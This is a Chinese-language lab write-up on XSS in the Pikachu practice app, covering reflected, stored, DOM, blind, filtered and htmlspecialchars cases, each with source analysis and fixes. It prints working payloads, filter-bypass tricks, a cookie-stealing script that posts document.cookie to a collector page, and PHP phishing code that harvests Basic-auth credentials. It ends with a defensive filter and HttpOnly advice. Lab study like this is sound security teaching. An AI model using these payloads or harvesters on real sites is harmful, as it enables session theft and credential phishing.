xss源码分析
反射型主要在查询的地方,存储型主要在留言、评论的地方,dom型是特殊的反射型。pikachu的xss没有做很多过滤,重点展示的是原理,在实际情况中肯定会有很多过滤和转义的。要多积累一些。
1.反射型xss(get)
测试随便输入,发现会把用户输入的输出到下面的who is后面,测试一下<script>alert(‘xss’)</srcipt>,弹出xss。(记得把maxlength属性改大一点)
代码分析:
$html变量直接拼接了{$_GET[‘message’]},后面代码又直接echo,没做任何过滤,转义。echo出的代码变成了
<p>who is
<script>alert('xss')</script>
,i don't care!
</p>
2.反射型xss(post)
和1一样,只不过1是get提交,2是post提交,代码都是一样的。
3.存储型xss
测试一下,随便输入,发现会输出在留言列表里,刷新页面也一直在,输入<script>alert(document.cookie)</script>测试,alert出了cookie。每次点击这个页面都会alert出cookie,说明是存储型的,已经存在数据库了。
代码分析:
原因仍然是对输入的内容没有做任何过滤和转义,直接往数据库里插入了用户输入的内容,输出的时候也没有任何过滤和转义,直接取数据echo出来。
4.dom型xss
输入111测试,点击what do you see,跳转到111,猜测可能是<a>标签的href属性,审查元素看一下,发现我们输入的str被调整在id为dom的元素里,且<a href=’"+str+"’>what do you see?</a>,于是想到可以闭合a标签,并且执行我们输入的恶意代码。
跟进domxss()
输入'><img src=1 onerror=alert(document.cookie)>
也可' onclick="alert('xss')">
等
代码分析已经在上面很清楚了,没对用户的输入做任何处理。
5.dom型xss-x
输入111
点击出现的 “有些费尽心机想要忘记的事情,后来真的就忘掉了”
出现“就让往事都随风,都随风吧”,继续点这个
跟4的情况一样。审查源码看看
注:
1.window.location.search:返回url中?后面的内容。详见这里
2.split():把一个字符串分割成字符串数组。详见这里
3.decodeURIComponent():对 encodeURIComponent() 函数编码的 URI 进行解码.因为str是从url中问号后面截取下来的,经过了url编码的。详见这里
4.replace():在字符串中用一些字符替换另一些字符,或替换一个与正则表达式匹配的子串。这里是把+替换成空格。详见这里
可以看到str还是直接拼接在a标签里。
测试'><img src=1 onerror=alert(1)>
,跟上面4是一样的。
原因:没对用户的输入做任何处理,直接拼接。
6.xss之盲打
随便输入测试一下,提交,什么都没返回,就提示用户输入的对方已经收到,猜测应该是存到数据库了,管理员登陆后台可以看到。刚好点击作者给的提示,给出了后台登陆的地址。这里我们不知道有没有xss,就要试试的,看不到不代表不存在。
输入<script>alert(1)</script>,登陆后台看看,结果是存在xss的。
代码分析:
用户输入的直接存入了数据库,取出也是直接取出并echo出来,导致xss
7xss之过滤
输入<script>alert(1)<script>进行测试,看到几乎把标签和函数都过滤掉了,想办法绕过过滤,试试
<img src=1 οnerrοr=alert(1)>,弹出窗口。可能存在xss漏洞。
源码分析:
后台对用户输入的内容进行了正则匹配过滤,将<srcipt以及各个符号中间的任意元素都删掉了。但是没有过滤img标签,没有过滤危险函数。
注:xss绕过姿势
1.前端限制直接改前端html代码,或者抓包重发
2.大小写过滤
3.双写绕过
4.用注释干扰
5.编码
8.xss之htmlspecialchars
用户输入的内容也是在href标签里,且后端应该是用了htmlspecialchars过滤,但是这个函数默认情况下是不会编码单引号的,因此可以试试' onclick='alert(1)'
,弹出了窗口,可能存在xss。
htmlspecialchars():http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp
9.xss之href输出
经过测试发现>
<
"
'
&
都被编码,且发现用户输入的在href标签里,故可用js,a标签href属性详解http://www.w3school.com.cn/tags/att_a_href.asp
构造javascript:alert(1)
代码分析:
这里防御需要禁用js协议
10.xss之js输出
还是先测试,加上查看源码,可分析出js里面的$ms就是用户的输入,于是想到闭合<script>$ms=’ ‘,构造用户输入为:x’</script><script>alert(‘xss’)</script>
源码分析:
构造payloads之后,会闭合第一个script标签,同时写入新的js语句。
修复需要注意的问题:1.这里如果进行html的实体编码,虽然可以解决XSS的问题,但是实体编码后的内容,在JS里面不会进行翻译,这样会导致前端的功能无法使用。2.所以在JS的输出点应该使用\对特殊字符进行转义
xss实际利用
1.xss获取用户coockie
反射型xss:输入
<script>document.location='http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
登陆管理后台查看,已经获取了信息
源码:
cookie.php
<?php
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
if(isset($_GET['cookie'])){
$time=date('Y-m-d g:i:s'); //time
$ipaddress=getenv ('REMOTE_ADDR'); //ipaddress
$cookie=$_GET['cookie']; //cookie
$referer=$_SERVER['HTTP_REFERER']; //referer
$useragent=$_SERVER['HTTP_USER_AGENT']; //useragent
$query="insert cookies(time,ipaddress,cookie,referer,useragent)
values('$time','$ipaddress','$cookie','$referer','$useragent')";
$result=mysqli_query($link, $query);
}
header("Location:http://127.0.0.1/pikachu/index.php");//重定向到一个可信的网站
?>
2.钓鱼
钓鱼页面往往可以做的很真实,这个只是个实验。
存储型xss,输入
<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>
弹出窗口
一旦输入你的用户名和密码就被钓鱼了
源码:fish.php
<?php
error_reporting(0);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
header('Content-type:text/html;charset=utf-8');
header("WWW-Authenticate: Basic realm='认证'");
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
}else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
header("Location: http://127.0.0.1/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}&password={$_SERVER[PHP_AUTH_PW]}");
}
?>
注:PHP中Header函数和PHP_AUTH_USER做用户验证原理
:https://blog.csdn.net/Jacksun_huang/article/details/88737297
xfish.php
<?php
error_reporting(0);
include_once '../inc/config.inc.php';
include_once '../inc/mysql.inc.php';
$link=connect();
if(!empty($_GET['username']) && !empty($_GET['password'])){
$username=$_GET['username'];
$password=$_GET['password'];
$referer="";
$referer.=$_SERVER['HTTP_REFERER'];
$time=date('Y-m-d g:i:s');
$query="insert fish(time,username,password,referer)
values('$time','$username','$password','$referer')";
$result=mysqli_query($link, $query);
}
?>
xss修复
1.过滤危险字符
2.编码转换
网上找的一个通防,在pikachu本地测试成功拦截xss:
PHP进行安全字段和防止XSS跨站脚本攻击过滤(通用版)
/* 进行安全字段和xss跨站脚本攻击过滤(通用版) -xzz */
function escape_sec($string) {
global $_POST;
$search = array (
'/</i',
'/>/i',
'/\">/i',
'/\bunion\b/i',
'/load_file(\s*(\/\*.*\*\/)?\s*)+\(/i',
'/into(\s*(\/\*.*\*\/)?\s*)+outfile/i',
'/\bor\b/i',
'/\<([\/]?)script([^\>]*?)\>/si',
'/\<([\/]?)iframe([^\>]*?)\>/si',
'/\<([\/]?)frame([^\>]*?)\>/si'
);
$replace = array (
'<',
'>',
'">',
'union ',
'load_file (',
'into outfile',
'or ',
'<\\1script\\2>',
'<\\1iframe\\2>',
'<\\1frame\\2>'
);
if (is_array ( $string )) {
$key = array_keys ( $string );
$size = sizeof ( $key );
for($i = 0; $i < $size; $i ++) {
$string [$key [$i]] = escape_sec ( $string [$key [$i]] );
}
} else {
//if (! $_POST ['stats_code'] && ! $_POST ['ad_type_code_content']) {
$string = str_replace ( array (
'\n',
'\r'
), array (
chr ( 10 ),
chr ( 13 )
), preg_replace ( $search, $replace, $string ) );//相当于对一些危险字符进行html实体转换
$string = remove_xss ( $string );//调用remove_xss()方法
// } else {
// $string = $string;
// }
}
return $string;
}
function remove_xss($val) {
$val = preg_replace ( '/([\x00-\x08\x0b-\x0c\x0e-\x19])/', '', $val );
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for($i = 0; $i < strlen ( $search ); $i ++) {
$val = preg_replace ( '/(&#[xX]0{0,8}' . dechex ( ord ( $search [$i] ) ) . ';?)/i', $search [$i], $val );
$val = preg_replace ( '/(�{0,8}' . ord ( $search [$i] ) . ';?)/', $search [$i], $val );
}
$ra1 = array (
'javascript',
'vbscript',
'expression',
'applet',
'meta',
'xml',
'blink',
'script',
'object',
'iframe',
'frame',
'frameset',
'ilayer',
'bgsound'
);
$ra2 = array (
'onabort',
'onactivate',
'onafterprint',
'onafterupdate',
'onbeforeactivate',
'onbeforecopy',
'onbeforecut',
'onbeforedeactivate',
'onbeforeeditfocus',
'onbeforepaste',
'onbeforeprint',
'onbeforeunload',
'onbeforeupdate',
'onblur',
'onbounce',
'oncellchange',
'onchange',
'onclick',
'oncontextmenu',
'oncontrolselect',
'oncopy',
'oncut',
'ondataavailable',
'ondatasetchanged',
'ondatasetcomplete',
'ondblclick',
'ondeactivate',
'ondrag',
'ondragend',
'ondragenter',
'ondragleave',
'ondragover',
'ondragstart',
'ondrop',
'onerror',
'onerrorupdate',
'onfilterchange',
'onfinish',
'onfocus',
'onfocusin',
'onfocusout',
'onhelp',
'onkeydown',
'onkeypress',
'onkeyup',
'onlayoutcomplete',
'onload',
'onlosecapture',
'onmousedown',
'onmouseenter',
'onmouseleave',
'onmousemove',
'onmouseout',
'onmouseover',
'onmouseup',
'onmousewheel',
'onmove',
'onmoveend',
'onmovestart',
'onpaste',
'onpropertychange',
'onreadystatechange',
'onreset',
'onresize',
'onresizeend',
'onresizestart',
'onrowenter',
'onrowexit',
'onrowsdelete',
'onrowsinserted',
'onscroll',
'onselect',
'onselectionchange',
'onselectstart',
'onstart',
'onstop',
'onsubmit',
'onunload'
);
$ra = array_merge ( $ra1, $ra2 );
$found = true;
while ( $found == true ) {
$val_before = $val;
for($i = 0; $i < sizeof ( $ra ); $i ++) {
$pattern = '/';
for($j = 0; $j < strlen ( $ra [$i] ); $j ++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(�{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra [$i] [$j];
}
$pattern .= '/i';
$replacement = substr ( $ra [$i], 0, 2 ) . ' ' . substr ( $ra [$i], 2 );
$val = preg_replace ( $pattern, $replacement, $val );
if ($val_before == $val) {
$found = false;
}
}
}
return $val;
}
注:从xss攻击的目的来看:
1.cookie盗取。 解决办法:HTTP-only
2.劫持流量转发。 解决办法:使用HTTPS安全协议验证
在设置httponly的时候用ini_set("session.cookie_httponly", 1);
函数没用,直接去php.ini
配置文件改session.cookie_httponly
也不行,但是在setcookie函数里面设置第七个参数值为true
就可以防止js脚本获取cookie了。